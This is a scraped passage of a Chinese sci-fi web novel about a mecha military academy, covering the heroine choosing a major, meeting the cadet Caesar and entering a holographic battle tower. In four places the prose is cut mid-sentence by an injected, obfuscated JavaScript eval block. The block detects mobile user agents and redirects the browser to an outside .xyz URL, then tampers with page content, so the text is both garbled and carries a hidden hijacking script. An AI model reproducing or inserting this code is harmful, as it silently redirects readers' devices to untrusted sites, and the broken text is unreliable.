于是她问道:“这个专业是干嘛的?” “你确定要选这个专业吗?”欧白白的表情有些严肃,“我这么问可能有些冒昧,但这个专业是一个全新的专业,而且是从地面校区迁上来的,发展前景还不太清晰,你……” “我考虑好了。”雪理摸了摸塞壬的机身,塞壬也温柔地嗡鸣了一声,“我就选这个。” 雪理的态度十分坚定,欧白白不再多问。 她对一旁等着答疑的郗灵解释道:“这个专业的入选条件很苛刻,不仅同步率要高于60%,还要接受不亚于机甲单兵的高强度训练,更关键的是,理论课程和实验课程也很多。其他专业一门课程可以拿3个学分,但因为这个专业的课程加起来太多了,一门课程撑死也就拿1.5个学分,简直比高三还高三。” 见郗灵还是不太能理解,欧白白换了种更直白的说法:“你就当她进去了,没个五年七年别想出来。” 郗灵:“……” 雪理拿着光脑开始填专业,郗灵把专业手册上翻了几遍,心中大概有个底之后,抬头礼貌地询问欧白白:“学姐,我选哪个专业比较好?” 欧白白就等着郗灵开口问了。 她把专业手册往回翻了几页,伸出手指:“这个。” 郗灵看着那个专业——机甲单兵专业。 这本专业手册是电子书,很贴心地附上了每个专业的详细介绍、核心课程、本校在读人数、未来前景等等信息,专业下面,还有学长们的弹幕气泡实时刷新。 结合专业书和弹幕,郗灵总结了一下。 机甲单兵专业是维尔莱德的王牌专业,建校的时候就存在了,特点是训练强度非常大,中途退学甚至死亡都很常见,但是毕业后稳进十大军团,而且起步就是士官,不用从一等兵开始熬资历。 当然,如果继续往上读,念到硕士毕业甚至博士毕业,进入军团保底都是副干部,军衔最高可以直接授佩少校。 因为这个专业没有取巧一说,士兵用命在战场上熬军功,机甲单兵也是用命在进修课程。 驾驶机甲的死亡率一直居高不下,一方面是因为战争造成了太多的牺牲,另一方面,也是因为机甲本身就是极其危险的存在。 只要驾驶系统出现意外,或者机甲师扛不住精神污染彻底崩溃,这个人就毁了。 郗灵看向欧白白:“学姐,你怎么给我推荐这个?” “因为我的队伍里缺一个机甲单兵。”欧白白直白地回答。 郗灵:“……” 欧白白在她面前,永远是个敞亮人。 她又问道:“什么队伍?缺人又是什么情况?” “你听说过机甲联赛吗?”欧白白反问。 郗灵诚实地摇头,雪理因此抬头看了郗灵一眼。 欧白白微微一笑,对郗灵解释道:“有人的地方就有竞争,军校也是一样。每三年为一届,由五大军校轮流牵头举办,联邦十个扇区的所有军校都可以报名。维尔莱德军校身为主办方之一,可以将自己的种子队直接保送进晋级赛,不必参加海选。” 郗灵品出味了——欧白白是在拉拢她。 如果欧白白的队伍是种子队,不至于现在还缺人,她多半是想把现在的种子队拉下去,让自己的队伍取而代之,保送进晋级赛。 但这不是坏事。 郗灵在军校过了一个月的安逸日子,骨头和脑子都有些犯懒。 但这并不意味着她可以休息了,战争结束不等于斗争结束,而且机械帝皇还在银河一隅虎视眈眈。 欧白白依然笑眯眯地看着她,这个高她一头的学姐似乎永远不会失态。 郗灵合上专业手册:“好啊。” 欧白白立马激动起来,双手按在她的脑袋两侧,手指插进发丝里,对准她的脸颊猛猛地亲了一口:“太好了!mua!” 郗灵没有躲开,她安静地看着欧白白,任由对方缩回手才问道:“除了你和我,队里还有哪些人?” 欧白白诚实地答:“没了,就我们俩。” 郗灵:“………………” 所以这支队伍原本只有你一个人吗? 欧白白邀请郗灵入队后,对雪理也发出了邀请,雪理说要考虑考虑,于是欧白白和雪理加了联系方式,踩着最后一缕消逝的夕阳离开了。 天空从灿烂的金红色变成了温柔的粉紫色,黑夜即将吞噬白天。 郗灵安静地望着欧白白变成黑点的背影。 雪理低声提醒:“她偷了你的头发。” 郗灵回忆那个响亮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260848|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸颊吻,以及那双插入自己发丝的手:“嗯,我知道。” “头发、血液、皮肤,乃至任何人体组织,都可以拿去化验和鉴定。”雪理以为郗灵没听出自己的弦外之音,她已经看出来了,郗灵不是中央星人,甚至可能不是联邦人,“郗灵,你要小心她。” 郗灵笑了笑:“没关系,她是个好人。” 雪理疑惑地皱眉:“为什么?” “她故意扯痛了我,这一次,她是带着任务接近我的。她不是那么不谨慎的人。”郗灵拉起雪理的手,慢悠悠地往教学楼走,今天晚上还有最后一节理论课要上。 雪理脑子懵了一下:“……什么任务?” “我不知道。但我知道一点,目前为止,我在学校里是安全的。”郗灵回忆一个月以来,校方的人和研究院的人传达给她的态度,意识到自己在胚胎项目中的地位,比预想中还要关键一点,“除非他们不需要我了,不然他们不会看着我产生的价值被他人分割走——我是个大宝贝,你知道吗?” 雪理:“……” 雪理:“嗯,你是个大宝贝。” 雪理这句话像机械音一样死板,显出点闹别扭的阴阳怪气。 郗灵笑了一下,雪理这种时候才像个大活人,而不是一个不会笑的玻璃娃娃:“要到上课时间了!快跑!” …… 欧白白一路来到某个角落,把装在玻璃管里的头发交给一个军官。 军官的肩章上坠着金色流苏,脸上使用了迷彩投影技术,只能看到一团马赛克。 他打开玻璃管的盖子看了看,用经过变声处理的涩哑男中音对欧白白道:“你做得很好。” 欧白白目送高级军官离开,回到宿舍后拉上窗帘,熟门熟路地将宿舍里的几个监控接入硬盘,让监控那头显示出提前录制好的画面,而后掏出一台迷你电脑,开始噼里啪啦地操作。 一个对话框弹了出来:“上一笔交易的尾款,已经打入账户了。” 欧白白回复:“收到。买主的信息查到了吗?” 那头答:“没有。” “帮我一个忙,我要查这个人的信息。”欧白白反手把一个ID甩了上去,那个ID属于索要头发的高级军官,“这个人的保密工作做得很好,档案等级至少是绝密,那种级别的智库我黑不进去。” 那头甩过来一串省略号。 欧白白耐心地等了很久,等到自己已经不抱希望地收起了电脑,准备把摄像头的线路从硬盘上拔下来时,那压回箱底的电脑突然发出了一声收到新消息的“滴滴”声。 欧白白立刻翻出电脑,而后,看着屏幕上的消息陷入了沉思。 那个名字她非常眼熟,在几年前,这个人的档案还不是绝密,当她第一次黑进联邦智库时,她还浏览过这个人的资料。 但如今,他已经是某个议员的白手套了。 议会为什么想要郗灵的遗传信息? 郗灵到底是什么人? 她和议会有过什么恩怨? 欧白白收好迷你电脑,从胸罩里摸出郗灵的头发,对床上看戏的机甲钮说:“飞鸟,借个火。” 噗! 飞鸟晃了两下,窍孔里吐出一缕小火苗,点燃了郗灵的头发。 欧白白从始至终都没有松开点燃的头发,那几根发丝很快变成燃尽了的灰烬,散落在地上,一点也捡不起来。 31. 圣罗兰 首飞结果已出,今晚是叶厌青最后一次给新生们上理论课。 这也是这些分为天空和地面两个校区的学生们,最后一次坐在同一间教室里。 一个月的魔鬼训练把新生们都训麻了。 这些天之骄子在第一天还扎手得很,但如今,他们已经学会什么是纪律,什么是规矩。而且,能留下来的人都是心性和天赋兼具的精英。 叶厌青干脆把教材一扔,一人发了一本《专业手册》,理论大课变成了专业咨询课,讲台周围围满了提问的学生。 郗灵对这些新生的面孔不是很熟悉,她大部分时间都被墨菲拉去测试机甲了。 她和雪理坐在一起,余光盯着说得口干舌燥频频喝水的叶厌青,偷偷掏出光脑给萧寒剑还有黎缨发消息,问了问“机甲单兵”这个专业的情况。 二人都给出了肯定的答复,表示这是个好专业,除了苦点累点没什么不好的。 郗灵这才放下心来。 最后一夜,新生们齐齐睡在操场上的睡眠胶囊里。 比起军训第一天的盛况,操场上的胶囊已经少了一大半。 所有人都没有睡着。 他们是留下来的幸运儿,人生轨迹在今夜最后交汇,等太阳升起后,天空的归天空,地面的归地面,从此以后再难相见了。 竞争和内卷刻进了中央星人的骨子里,淘汰在他们眼中和死亡一样耻辱。 地面校区的新生辗转难眠,那些和天空校区只有一线之隔的人更是没忍住哭了起来。 而成功加入天空校区的新生也没好多少,内卷是没有尽头的,当努力和回报越来越不成正比,无尽的焦虑就会吞噬积极上进的心。 但郗灵一点也不焦虑。 她和雪理一起挤在小小的胶囊里,捧着光脑研究新开放的“觐见之塔”。 “觐见之塔”是军部和研究院合作的第二个项目,是星网中的全息建筑,目前只对现役军人和一部分军校生开放。 塔一共有99层,每一次爬塔都要从0层开始,因为是在星网的全息世界中,所以死亡也没有惩罚。 “虽说没有惩罚,但驾驶机甲产生的精神污染,是不会因为星网而隔绝的。”雪理说。 郗灵点点头:“我想爬塔。” 她要战斗! 她已经快半年没有和人堂堂正正地打一架了! 第一次驾驶龙姬暴走后,她在医疗舱里一躺就是两个月。 醒来后,她进入维尔莱德军校,驾驶龙姬第二次暴走,失控的龙姬隔靴搔痒地和凤凰过了几招,然后就被凤凰一剑拍进了海里。 郗灵还挣扎在生死线上的时候,战斗只是为了保住一条命,但如今,她的命在手里攥得稳稳的,她就再也克制不住对战斗的兴趣了。 军部放出来的“觐见之塔”的介绍很短,只说了开塔时间,粗略的关卡机制,以及欢迎各位现役士兵和在读军校生踊跃报名。 这是个半科研、半商务的合作项目,郗灵在一众合作方里,眼尖地看到了黎家的家徽。 黎副官……自从她退役之后,整个人就忙得起飞。 但她简直是掌管商业的神,这才分开不到两个月,她就带领黎家从奢侈品进军机甲行业了。 郗灵给黎缨发消息祝贺,黎缨给郗灵秒转了9999联邦币,又给郗灵透露了一个重要的消息。 【AAA昆山玉黎缨】:伊甸在塔顶放了个不得了的东西,你争取第一个登顶。 【郗灵5201】:是什么东西啊? 【AAA昆山玉黎缨】:你猜?猜到了就告诉你。 【郗灵5201】:……嘤! 第二天天亮,郗灵和雪理在浮空岛月台处告别。 ——按照欧白白的说法,雪理选了一门课程最多、要求最高、毕业难度最变态的专业,她在维尔莱德的四年,将是人生五年中最难忘的七年。 “有事就打我电话,我没接就发短信。”雪理坐上塞壬的掌心,她和塞壬的同步率至今都是一个谜,“我进去了。” 郗灵:“……” “我一定会出来的,如果表现好,说不定还能提前出来。”塞壬另一只手拿起雪理的行李,雪理埋下身子,对低处的郗灵说道,“等我出来!” 郗灵:“…………” 怎么越听越不对劲呢。 今天是分配专业的第一天,不需要上课,是难得的休闲时光。 郗灵找到自己的宿舍,把行李收拾好之后直奔食堂。 觐见之塔在今天下午2点正式开启,她决定中午这一顿饭吃饱一点,把晚饭直接跳过,整个下午和晚上都拿来爬塔。 食堂里熙熙攘攘,显然和郗灵抱着同样想法的人不在少数。她打好饭后艰难地找到一个空位坐下,正要把第一口饭塞进嘴里,一只手突然拍上她的肩膀。 郗灵差点一个过肩摔把那人摔出去。 她按住浑身作响的警铃,安抚自己说这里是学校,而后转头看向身后的人,一个和食堂格格不入的、金光闪闪的公子哥。 “你是谁?” “凯撒·奥古斯都。”公子哥瞥了眼郗灵的手,视线在深浅纵横的伤疤上停留片刻,“出来聊?” “不!”郗灵护食地搂住餐盘。 那是她排了好长的队才打到的饭!排了那——么长的队呢! 凯撒:“……” 最终,凯撒入乡随俗地打了点饭,又和郗灵对面的人碰了碰光脑,买下这个座位的使用权后坐了下来。 郗灵放下光脑——就在刚才,她把凯撒的照片发给了欧白白,问欧白白这个人是谁。 凯撒立马伸手:“给钱。” 郗灵装傻:“你在说什么?” “奥古斯都的后裔不会放过每一个侵犯自己合法权益的人,你侵犯了我的肖像权。”凯撒道。 郗灵:“……” “但如果你是我的朋友,那就没有关系,因为奥古斯都的后裔不会介意朋友之间的小小冒犯。”凯撒又道。 郗灵:“…………” 郗灵:“好的,我的朋友,您找我有什么事吗?” “莱茵告诉我,我的问题只有你能解决。”凯撒的说话方式很开门见山,这极大地减轻了郗灵的压力,因为她的通用语还没到入耳自动翻译的水平。 食堂已经有不少人看了过来,还有人低呼“圣罗兰”“皇帝”“五骄”之类的话。 但凯撒一概没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264375|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理会。 他认真地盯着郗灵:“我的机甲出了一个致命的问题,这关系到我能不能带队参加机甲联赛。这个问题需要详谈,你愿意跟我去一个安静的地方坐一坐吗?” 郗灵盯着凯撒胸口的校徽:“你不是维尔莱德的人。” “我来自圣罗兰,而且我还挺出名的,我以为你会知道我。”凯撒一开始的自信有了解释。 为了印证自己的话,他还拨冗向周围围观的人挥了挥手:“日安,我的朋友们!” 食堂这一片的人立刻哄闹了起来:“噢噢噢噢凯撒!” 郗灵眉头一皱:“你认识他们?” 凯撒摇摇头:“不认识,但朋友怎么会嫌多呢?” 郗灵:“…………” 你个浓眉大眼的,朋友是这么交的吗? 凯撒的确是个名人,食堂的人不受控制地向郗灵这张桌子汇聚靠拢。 暴露在太多人的视线下是一件十分危险的事,郗灵抗着浑身大响的警铃,硬着头皮吃完饭,擦了擦嘴,对优雅坐等的凯撒道:“走吧,出去聊。” 浪费食物可耻,好好吃饭是生存的第一要义。 郗灵很珍惜吃饭的美好时光,尽管这段美好时光被凯撒毁了,但她还没到对凯撒生气的程度。 凯撒·奥古斯都来自五大军校之一的圣罗兰军校,但他虽然是别校的人,却对维尔莱德军校十分熟悉。 他带着郗灵七拐八拐钻进一条不起眼的小街,走进一家招牌掉了一半的奶茶店。 他对老板道:“两杯彩虹波霸……你喝冰的还是热的?” 郗灵看着凯撒站在奶茶店里,后者浑身散发着“有钱”“自信”两个词,和这个看起来快倒闭的地方格格不入:“冰的。” “她的那杯全冰,五分糖。我的那杯一样,然后去掉波霸,再加一份波霸。”凯撒念咒一样背诵道。 郗灵沉默片刻:“去掉免费的小料,再加一份要钱的,你钱很多吗?” 店主没有发表任何质疑,转身摇奶茶去了。 凯撒拉开破破烂烂的椅子坐下:“是啊,我的朋友。” 郗灵:“……” 奶茶店生意惨淡,两杯勾兑的彩虹波霸很快端了上来。 凯撒皱眉抿了一口:“……啧,还是当年的味道。” “圣罗兰的少爷小姐可比维尔莱德多多了,走后门的人也是一大堆,所以院校排名一直被维尔莱德压一头。”一个爽朗的女声从店门外传来,欧白白穿着一身训练服走了进来,“哟,凯撒,好久不见。” 凯撒点头:“好久不见,欧白白,我的朋友。” “听说莱茵连你也不愿意见?你们是隔着房门说话的?”欧白白拉开椅子坐下,那椅子更烂,只有三条腿。 郗灵主动和欧白白交换椅子,凯撒也跟着起身。 最终,那把三条腿的烂椅子来到了凯撒的屁股下:“是啊,他不愿意见我,估计是病得头发一把一把的掉,相貌不如我英俊了吧。” 郗灵盯着光脑上的时间,还有十分钟就下午两点了。 她最多再留给凯撒五分钟,因为她还要花五分钟跑回宿舍:“你的机甲到底出了什么问题,为什么说只有我能帮你?” 32. 觐见之塔 凯撒看得出郗灵有点急,他也知道郗灵在急什么。 他就是故意选这个节点来求郗灵的。 朋友不嫌多,但有些人能不能交朋友,是第一次相处就能看出来的。郗灵身上有他想要的东西,他把谈判时间一缩再缩,就是为了看郗灵最真实的反应。 “这是我的机甲,皇帝。”在欧白白和郗灵的注视下,凯撒把一枚机甲钮掏出来摆在桌子上,“我想让你帮忙确认一下,它到底是死了还是沉睡了。” 郗灵下意识看向那枚机甲钮——它和金光闪闪的凯撒一个风格,机甲钮涂着金色涂装,掏出来像个金蛋似的。 郗灵没有碰那枚机甲钮:“你为什么不找研究院帮忙?” 郗灵不知道是谁走漏了风声,让凯撒知道了自己在机甲方面的特殊天赋。 但她并不在意,因为这份特殊迟早会暴露。 而且,就连她自己也不知道,这份天赋到底能做到什么程度。 所有知道自己这份特殊性的人,某种程度,相当于在和她一起探索天赋的用途,算得上是在帮她。 凯撒回答:“因为皇帝和其他机甲不一样。” 凯撒明牌了但没完全明,他告诉郗灵,自己身上有一个秘密。 郗灵决定把跑回宿舍的时间压缩到三分钟,她拿起“皇帝”,一边感应里面胚胎的活性,一边观察凯撒的表情。 她有一个预感——是墨菲把凯撒推到自己面前的。 研究院有一大堆精英,高精尖的鉴定器械和渴望研究机甲的心,就算她不清楚凯撒的来头,但凯撒的背景一定不简单,即使研究院和军部势同水火,凯撒想鉴定“皇帝”的状态也不会太麻烦。 而且,雪理的机甲钮“塞壬”,不也已经送去鉴定,甚至还做了个唤醒手术才送回来吗? 更别提墨菲根本不会放过“皇帝”这样的好素材。 除非……研究院无法给出墨菲和凯撒想要的答案,只能求助于郗灵近乎“玄学”的天赋。 郗灵把金色的机甲钮摸了一遍。 她感受到了里面胚胎的气息,那个被命名为“皇帝”的生命素体不仅活着,而且十分健康。 只是……它好像挺生气的,气到自闭的那种。 郗灵如实告诉凯撒,凯撒流露出疑惑:“怎么会?不应该啊!” 但这就不是郗灵该管的事情了。 郗灵把那杯勾兑的彩虹波霸三两口喝光,起身向欧白白和凯撒礼貌告别,又在凯撒的请求下和他碰了碰光脑,加上联系方式后,飞快地离开了这里。 凯撒和欧白白坐着没走,他们似乎是旧友,有一些旧事要聊。 郗灵没把“认识凯撒”这种小事放在心上,就算联邦总统,甚至国父维尔莱德活过来站在她面前,都不如机械帝皇的一条情报让她激动。 只要手中有力量,生命就有资格存活,附庸的财富、权力、地位都会纷至沓来。 她若想亲手砍下机械帝皇的头颅,就必须变得更强大! 郗灵一路小跑回到宿舍,光速抓起宿舍里配置的全息头盔戴在脑袋上——觐见之塔目前只对现役军人和一部分军校生开放,五大之一的维尔莱德军校也在此列。 下午两点,郗灵顶着系统随机的建模脸来到觐见之塔。 门口熙熙攘攘,但全息世界和真实世界不同,所有人都是数据模拟的虚拟投影。郗灵把碰撞体积设置成“0”,像可以穿墙的鬼魂一样穿过一大堆人,登记身份后进入塔内。 她眼前一黑,进入了另一个空间。 一个声音在她耳边宣读规则:“你好,郗灵5201,我是本次‘觐见之旅’的主考官……” 郗灵:“跳过。” AI主考官:“……” AI主考官闭麦了。 下一秒,郗灵眼前的黑暗被点亮。 漫天的黄沙伴着热风进入她的眼睛和鼻腔,她没有眨眼,大睁着因为刺激流出的生理性泪水的眼睛,一个滚身躲开了朝她面门射来的激光束。 激光束在她滚过的地方划开一条焦黑的灼痕,她滚身而起,捡起地上的机械残肢,向手持激光炮的偷袭者——一个先锋机兵的能源炉心用力捅去! 滋啦! 鲜红的炉心被郗灵捅了个对穿,偷袭的先锋机兵眼灯闪烁了两下,能源断供后向后倒去,胸口的洞穿伤还冒着电火花和黑色的硝烟。 这里是战场,郗灵在落地的第一秒就意识到了。 但这里不是她的母星,而是……另一片饱经疮痍的土地。 郗灵在遍地尸体的战场上穿梭,主考官的眼睛在天上安静地观测。 郗灵没有贸然驾驶机甲,在不知道敌我势力的情况下,放出机甲等于画个靶子给敌人打。 她在地上捡能用的武器,一边在脑中绘制地形,一边悄悄地干掉了十几个机兵。 这种没有等级的杂兵杀了没关系,只要数量不超过总数的5%,就不会引起无机指挥官的警觉。 银河中,所有无机士兵都是机械帝皇的延伸,后者的意识和算力可以降临在任何一具机体上。但那些由生产机床量产出来的炮灰杂兵,可能直到炉心报废,都等不来机械帝皇的附身,从生到死,都只是一具执行杀戮指令的机械傀儡。 但机械军团中的高级军官,尤其是战场指挥官,机械帝皇都会亲自附身操控。 这也是郗灵那么恨机械帝皇的原因。 那位铁血无情的无机皇帝,会亲手扼杀每一个让对手翻盘的机会。 他一次又一次发动了席卷银河的战争,不遗余力地指挥着每一场战役,而他没有灵魂的炉心,根本不会感到一丝良心上的刺痛。 他无差别地屠戮着每一条有机生命,无论对方是恶贯满盈的罪犯,还是大义慷慨的英杰。 他毁灭万物,一视同仁,要把这片银河变成冰冷的坟墓,连一丝磷火也不会复燃。 杀掉53只机兵后,郗灵找到了一支被围困的人类军队。 那支军队的旗帜已经残破,上面刺绣着郗灵不认识的图案。 他们不属于联邦的十大军团,腰间也没有挂着机甲钮,身上穿着的甚至不是战斗服,而是极具古韵的高科技银色盔甲,宛如一群银白的骑士。 郗灵驾驶机甲,打败那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266894|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铁人,把被围困的骑士军队救了出来。 她刚从驾驶舱里探出头,为首的骑士抬起枪,一束银蓝色的激光从枪口中射出,把郗灵的脑袋打了个对穿。 郗灵死了。 她睁开眼,周围是雪白的空间,面前是一个悬浮的光球,光球还很人性化地亮出了一个无语的颜文字。 “你没有选修过《银河战争史》?”主考官没有权限查看玩家的教育履历,这是个人隐私,而它的权限还没有那么高,“刚才杀死你的,是历史上著名的叛国者,芬迪尔·兰奇。” 郗灵冒出一个问号:“谁?” 主考官:“……” 主考官无法查看玩家的履历,但郗灵穿着维尔莱德军校的校服,胸口还刺绣着银光闪闪的校徽,结果竟然是一条义务教育的漏网之鱼。 它重新把郗灵塞进副本,并且化为一个迷你光球悬浮在郗灵身边。 郗灵再次重复之前的操作,但速度比第一把快了不少。 她再次找到了被围困的骑士军队,并在脱离机甲时防了一手,没给芬迪尔偷袭她的机会。 战斗型机甲比芬迪尔的残军强悍得多,在芬迪尔的指挥下,郗灵驾驶龙姬,顺利地摧毁了机械军团驻扎在这里的生产机床,机械士兵在这片战场不再源源不断地补充,人类得到了一丝喘息之机。 是夜,星河在夜空中倒悬,郗灵被芬迪尔邀请到主帐,几十个刀斧手立刻将她包围。 芬迪尔站在四维沙盘边,陈旧残破的银甲已经擦净了鲜血,他摘下了白日戴着的头盔,遍布血丝的眼睛沉静而锐利地盯着郗灵。 “你是谁派来的探子?”芬迪尔问道,“华麟?叶卡捷琳娜?还是杜尚别?” 郗灵没有回答。 这是十大元帅的其中三个名字,而现今仍然在世的杜尚别校长,是她唯一勉强认识的人。 光球欲言又止。 它终于忍不住透题:“芬迪尔·兰奇曾是反抗军新十一军团的总指挥官,但新历8年,国父维尔莱德去世后,他便发动了叛乱,带领一支叛军离开了中央星——你需要探明芬迪尔背叛联邦的原因,这是通关第1层的要求。” 郗灵没有理会。 联邦的斡旋与阴谋与她无关,她进入觐见之塔,不是为了满足某个大人物的恶趣味,扮演挖掘历史秘辛的私家侦探的。 完不成任务又何妨?她想要的只是战斗! 她直截了当地对这位指挥官问:“你的敌人是谁?人类还是机械军团?” 芬迪尔答:“机械军团。” “从今天起,我听命于你,只要你认为我这把刀不再锋利,你随时可以尝试取走我的头颅。”郗灵向芬迪尔伸出一只手,“而我唯一的要求是——让我战斗,直到杀光所有铁人。” 芬迪尔没有握上郗灵伸来的手。 他定定地看着郗灵,而后挥了挥手,让周围的数十位刀斧手退下。 “你想投靠我?”芬迪尔问,“你如何证明自己的忠诚?” “我忠于我的种族,无需向某个个体证明。”郗灵答,“告诉我机械军团的位置,我去杀了它们。” 33. 叛国者,芬迪尔 芬迪尔直接气笑了:“你知道我是谁吗?” “我不认识你,但有人告诉我,你是一个叛国者。”郗灵回答。 光球开始瑟瑟发抖,它已经做好重开一局的准备了。 但芬迪尔听完郗灵的话后,诡异地陷入了沉思。 他看起来并不认可郗灵的话,却又发现郗灵的话无可反驳,那张狼一样凶戾的面庞上很快浮现出挣扎的神色,但一瞬之后,所有的脆弱又变成了止水般的平静。 “从今天起,你跟在我的身边,做我的副官。”芬迪尔说,“我原来的副官死在了战场上,你的第一个任务,是把他的尸身找回来。” 芬迪尔和他的军团叛出中央星后,在未收复的旧帝国星域中和机械军团交战,并把夺回来的星球尽数收入囊中,愈发坐实了“叛徒”之名。 郗灵找到芬迪尔时,后者正处于最狼狈、疲倦、弱小的时刻。 郗灵接下了芬迪尔的任务。 生产机床已毁,在机械军团部署新的机床前,这颗星球就是棋盘上暂时搁置的一枚棋子。 郗灵驾驶龙姬,在空中来回飞行,试图找到副官的尸体。 主考官变身的光球愁眉苦脸:“你的进度已经落后了,和你一起进塔的其他精英们,已经冲到第5层了。” “哦。”郗灵淡淡地应了一声。 主考官:“……” 主考官:“你不能这样,你这是冷暴力,知道吗?” “他们快是他们的事,和我无关。”郗灵简单解释了一下。 内卷刻进了联邦人的骨子里,那群精英为了竞速,什么事都干得出来。 但郗灵很有自知之明,她没必要为了卷冲层速度,从而被其他人的脚步声裹挟,以至于忘记了自己真正想要的东西。 她要战斗,她需要学习战斗的知识。 “叛国者”芬迪尔拥有一支军队,除非他坐以待毙,不然,他一定会被裹挟进战争。 龙姬飞行在低空中,影子投落在满地铁人或人类的残骸上,宛如一只白色的告死鸟。 主考官飘在龙姬身边,一点点回过味儿了。 它的机械音有点惊讶:“你想体验这段历史?” “你说过,芬迪尔是著名的叛国者,等于说,他是个厉害的人。”郗灵没有否认,“我不管他是伟人还是罪人,他要杀了我也没关系,但是,我一定要从他身上学到我想要的东西。” 主考官弱弱地说:“你这是通敌……” 郗灵不再理会。 她看着满目疮痍的战场。 郗灵的母星尚未和银河文明接轨,机械帝皇毁灭她的母星,如同掸去一粒渺小的尘埃。当郗灵为保卫母星而战时,所遇到的最厉害的铁人士兵,也不过是装载了激光炮的低等杂兵。 但这里是第一扇区,银河的中心,联邦和机械军团交锋最激烈的地方。 芬迪尔背叛联邦前,曾是身经百战的老将,以及新十一军团的总指挥官,他的阅历和经验是郗灵最垂涎的东西。 郗灵飞了三天三夜,把这颗暂时停战的星球飞了个遍。她带回了那位老副官的尸体,那具尸体已经没有人形,和其他尸体血糊糊地黏在一起,成了血肉模糊的一大团。 几个老将的眼眶一瞬间就红了。 芬迪尔看着郗灵,发现后者的脸庞虽然疲惫而憔悴,却没有一丝恐惧,仿佛早已见惯了鲜血。 郗灵把一份手绘的地形图交了上去:“您看看。” 芬迪尔接过看了一眼,又气笑了。 “这种粗糙的地形图已经过时了。”他随意收起地形图,“你是哪个穷乡僻壤出来的小家伙,你的母星难道还在拿着铳枪打地道战吗?” “我来自第七扇区外的一颗小星球,长官。”郗灵诚实地答。 她没管这个时候的联邦,到底有没有“第七扇区”这种说法:“我的母星被铁人毁灭时,连导弹都还没有发明,载人航天只是一个遥远的梦想。” 芬迪尔沉默。 他的目光扫过郗灵腰间的机甲钮。 “我是芬迪尔·兰奇。”芬迪尔说道,“如你所说,我是一个叛国者,如果你是联邦人,就应该毫不犹豫地击杀我,而不是在我身边斡旋,试图找到我背叛维尔莱德的原因。” 郗灵安静片刻:“您似乎很在意‘叛国者’这个骂名。” 芬迪尔反问:“换做是你,你难道不在意?” 郗灵摇头:“我不在意。” “理由?” “我对联邦没有感情,我只是因为遇到了一个好人,她是个联邦人,所以我留在了联邦。” 如果龙姬没有从天而降,如果萧寒剑上将没有把她救出矿星,她不会对联邦产生好感,因为那艘拐卖人口的黑船已经掏光了她对联邦所有的信任。 但命运就是这么奇妙,她从战争走入了和平,并留在联邦成为了一个军校生,还认识了很多有趣的人。 芬迪尔不再追问了。 他静静地看着郗灵,良久,尖利地笑了一声,示意郗灵去四维沙盘那边。 “我会教给你想要的东西,士兵。”芬迪尔看穿了郗灵的目的,或者说,郗灵本就无意遮掩,“我会告诉你,什么是真正的战争。” 主考官数次试图纠正郗灵,要求郗灵悬崖勒马。 “我也是有KPI的!”主考官终于意识到,郗灵这个人只吃直球。 它摊牌了:“进入觐见之塔后,我会根据你的任务进度调整意识流速,让你不至于花费太多的现实时间。但你的任务进度也太太太太慢了——你在拖垮我的绩效!!” “哦。”郗灵应了一声,继续把精力放在面前的四维沙盘上——这是芬迪尔给她的第一道考题。 主考官:“……” 主考官:“亲爱的玩家,不可以对AI冷暴力哦。” “你对泽尔星的这场战役怎么看?”郗灵问。 “什么?” “我们的舰队亟需补充能源——之前的那颗能源星已经丢了,芬迪尔说,如果不拿下泽尔星,我们将没有任何退路。”郗灵很自然的使用了“我们”这个代称,她是真心跟随芬迪尔学习的,“但泽尔星的地理位置并不好,就算拼尽全力拿下,也会腹背受敌。” “你问我?我可是你的主考官啊!” “所以呢?历史上的芬迪尔是怎么破局的?” “……我不能告诉你。” “这就是我拒绝你的理由。”郗灵把问题抛了回去,“如果你不告诉我,我就只能自己去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281110|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看。” 主考官沉默:“……” 它看着任务栏:【找出芬迪尔·兰奇背叛联邦的原因(完成进度:1.7%)】 主考官欲哭无泪。 